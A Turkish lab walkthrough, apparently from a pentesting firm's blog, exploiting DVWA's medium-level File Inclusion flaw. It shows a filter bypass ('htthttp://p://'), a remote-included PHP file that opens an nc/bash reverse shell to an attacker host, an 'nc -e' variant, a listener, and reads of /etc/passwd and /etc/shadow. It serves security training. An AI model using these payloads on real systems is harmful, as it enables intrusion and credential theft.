OWASP DVWA – File Inclusion (Orta Seviye): nc Aracı ile Dosya Dahil Etme Zafiyetinin İstismar Edilerek Komut Satırı Erişimi Elde Edilmesi

0
255
views
Web uygulamaları sızma testleri sırasında hedef uygulama üzerindeki bir kontrol eksikliği sebebi ile beklenmeyen dosyalar web uygulaması tarafından çalıştırılabilir. Bu yazıda, OWASP DVWA (Damn Vulnerable Web App) üzerindeki orta zorluk seviyesindeki File Inclusion açıklığı istismar edilerek nc aracı ile ters kabuk erişimi elde edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Yazıda kullanılan Damn Vulnerable Web Application (DVWA) sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/

 

Dosya Dahil Etme (File Inclusion) zafiyeti yerel (Local FI) ve uzak (Remote FI) olarak ikiye ayrılabilir. Yerel dosya dahil etme zafiyeti barındıran uygulamada, normalde sunulmayan ama işletim sistemde bulunan herhangi bir dosya (uygulama kullanıcısı yetkileri ile) okunabilir. Bunun yanında uzak dosya dahil etme zafiyeti barındıran uygulamada ise farklı bir sunucunun sunduğu bir sayfa zafiyetli uygulama tarafından sunulabilir.

Dosya dahil etme zafiyetini içeren uygulama sayfasına erişmek için sol kolondaki “File Inclusion” bağlantısına tıklanabilir.

http://10.10.2.156/dvwa/vulnerabilities/fi/?page=include.php

 

Zafiyete sebep olan “page” parametresi ile varsayılan olarak uygulama sunucusunun web kök dizinindeki “include.php” dosyası sunulmaktadır. Yeterli kontrolün yapılmaması sebebi ile yerel dosya dahil etme zafiyeti oluşmakta ve bu zafiyetin istismar edilmesi ile işletim sistemindeki bir dosya okunabilmektedir.

http://10.10.2.156/dvwa/vulnerabilities/fi/?page=/etc/hosts

 

Benzer olarak; yeterli kontrolün yapılmaması sebebi ile uzak dosya dahil etme zafiyeti oluşabilir, bu zafiyetin istismar edilmesi ile başka bir sunucudaki bir dosya bu uygulama üzerinden sunulabilir. Ancak “page” parametresinde bu zafiyetin doğrudan istismar edilemediği görülmektedir.

http://10.10.2.156/dvwa/vulnerabilities/fi/?page=https://www.google.com.tr

 

Bu zafiyeti istismar etmek için deneme yapıldığında “page” parametresine “http://” veya “https://” yerine “htthttp://p://” veya “htthttps://ps://” atandığında uzak dosya dahil edilebildiği görülmektedir.

http://10.10.2.156/dvwa/vulnerabilities/fi/?page=htthttp://p://10.10.2.133/dosya.html

 

Yukarıdaki örnekte “dosya.html” sayfasında standart bir metin bulunmaktadır. Bunun yerine bir PHP ifadesi bulunsa idi zafiyet barındıran sunucuda bu dosya çalışacaktır. Zafiyeti barındıran sunucunun komut satırına erişmek için “nc” aracı aşağıdaki gibi kullanılabilir.

<?php
echo shell_exec(“rm /tmp/olmayanDosya;mkfifo /tmp/olmayanDosya; cat /tmp/olmayanDosya | /bin/bash -i 2>&1 | nc 10.10.2.133 13579 > /tmp/olmayanDosya”)
?>

 

Not: Zafiyetli sunucudaki “nc” aracı sürümü yeni olsa idi “-e” parametresini deskteklerdi ve aşağıdaki gibi bir ifade de kullanılabilirdi.

nc -e /bin/bash 10.10.2.133 13579

 

Saldırgana ait Kali sunucu da TCP/13579 portuna gelecek olan isteği “nc” aracı ile dinleyebilir.

nc -lvp 13579

 

Zafiyetli sunucuda uzak bilgisayarda bulunan komut satırı elde etmek amacı ile hazırlanmış PHP dosyası dahil edildiğinde, Kali sunucuya uygulama kullanıcısı hakları (www-data) ile ters bir bağlantı oluşacaktır.

http://10.10.2.156/dvwa/vulnerabilities/fi/?page=htthttp://p://10.10.2.133/kabuk.txt

id
hostname
head -3 /etc/passwd
head -3 /etc/shadow

 

Not: Bazı durumlarda dosya uzantısına ekleme yapılabilmektedir. Bu gibi bir durumda dosya sonuna “%” konması gerekebilir.

http://10.10.2.156/dvwa/vulnerabilities/fi/?page=htthttp://p://10.10.2.133/kabuk.txt%

 

İlgili Kaynak Kod:

 

 

Kaynak:

http://www.includekarabuk.com/kategoriler/DVWAUygulamasi/Ders-9—File-Inclusion-Medium-Level.php
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://pentesterlab.com/exercises/php_include_and_post_exploitation/course

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.